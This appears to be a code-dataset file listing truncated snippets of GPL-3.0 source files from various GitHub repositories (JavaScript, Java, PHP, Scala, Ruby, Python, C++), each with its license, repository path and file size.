/** * * @param cellData * @param cellRow * @param cellColumn * @param ctx * @param ctxOverlay * @param position * @param size * @param renderFn - * @constructor */ function Cell(cellData, cellRow, cellColumn, ctx, ctxOverlay, position, size, renderFn) { this.ctx = ctx; this.ctxOverlay = ctxOverlay; ...
gpl-3.0
lightblue-platform/lightblue-migrator
lightblue-migration-monitor/src/main/java/com/redhat/lightblue/migrator/monitor/Main.java
1027
package com.redhat.lightblue.migrator.monitor; import org.apache.commons.cli.HelpFormatter; import com.redhat.lightblue.migrator.monitor.HIR.HIRMonitor; import com.redhat.lightblue.migrator.monitor.NMP.NMPMonitor; public class Main { public static void main(String[] args) throws Exception { MonitorConfi...
gpl-3.0
patschwork/meta_grid
meta_grid/models/Bracket.php
977
<?php namespace app\models; use Yii; /** * This is the model class for table "bracket". */ class Bracket extends \app\models\base\Bracket { public static function findOne($condition) { $model=static::findByCondition($condition)->one(); if ( (isset($model)) || (Yii::$app->User->identity->isAdmin)) { ret...
gpl-3.0
atomist/artifact-source
src/main/scala/com/atomist/source/artifact.scala
5041
package com.atomist.source import java.io.{ByteArrayInputStream, InputStream} import java.nio.charset.Charset import com.atomist.util.Utils.StringImprovements import org.apache.commons.io.{FilenameUtils, IOUtils} import resource._ /** * Represents a file or directory artifact. */ sealed trait Artifact { val n...
gpl-3.0
jpan127/Pear
test/models/rmp_test.rb
117
require 'test_helper' class RmpTest < ActiveSupport::TestCase # test "the truth" do # assert true # end end
gpl-3.0
Jazende/ProjectEuler
solved/000-099/problem_071.py
754
def problem_71(target= 1000000): from itertools import product cur_closest = 0 info_closest = (0, 1) target_value = 3/7 count =0 for j in range(1, target+1): min_bound = int(round((j*info_closest[0])/info_closest[1]))-1 max_bound = int(round(((j*3))/7))+1 for i in range(m...
gpl-3.0
nagyistoce/netzob
src/netzob/UI/Vocabulary/Views/Partitioning/SequenceAlignmentView.py
4876
# -*- coding: utf-8 -*- #+---------------------------------------------------------------------------+ #| 01001110 01100101 01110100 01111010 01101111 01100010 | #| | #| Netzob : Inferring communication protocol...
gpl-3.0
gamesun/flat-ui
main_window.py
4967
#!/usr/bin/env python # -*- coding: UTF-8 -*- # """ """ import sys, os, io import ntpath from PyQt4 import QtCore,QtGui from PyQt4.QtCore import Qt class BtnTitlebar(QtGui.QPushButton): def __init__(self, *args, **kwargs): super(BtnTitlebar, self).__init__(*args, **kwargs) self.m_ishover = Fal...
gpl-3.0
DAINTINESS-Group/ArktosII_Java
Engine/Aggregate/SortAggregate.java
2596
package Aggregate; import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; import java.util.LinkedList; import Sort.ExtSortWrapper; import Sort.GoogleExtSortWrapper; import Sort.UnixExtSortWrapper; import Tools.EngineCore; import...
gpl-3.0
mancoast/CPythonPyc_test
fail/311_test_httplib.py
13913
import errno from http import client import io import socket from unittest import TestCase from test import support HOST = support.HOST class FakeSocket: def __init__(self, text, fileclass=io.BytesIO): if isinstance(text, str): text = text.encode("ascii") self.text = text sel...
gpl-3.0
andlaus/opm-common
opm/output/eclipse/VectorItems/intehead.hpp
4539
/* Copyright (c) 2018 Equinor ASA This file is part of the Open Porous Media project (OPM). OPM is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) an...
gpl-3.0
themegrill/restaurantpress
tests/framework/class-rp-mock-session-handler.php
124
<?php /** * RestaurantPress Mock Session Handler * * @since 1.7 */ class RP_Mock_Session_Handler extends RP_Session { }
gpl-3.0
davy39/eric
Helpviewer/Network/NetworkAccessManagerProxy.py
3013
# -*- coding: utf-8 -*- # Copyright (c) 2009 - 2014 Detlev Offenbach <detlev@die-offenbachs.de> # """ Module implementing a network access manager proxy for web pages. """ from __future__ import unicode_literals from PyQt5.QtNetwork import QNetworkAccessManager, QNetworkRequest try: from PyQt5.QtNetwork import ...
gpl-3.0
Adi3000/subsonic-main
src/main/java/net/sourceforge/subsonic/service/VersionService.java
9386
/* This file is part of Subsonic. Subsonic is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Subsonic is distributed in the hop...
gpl-3.0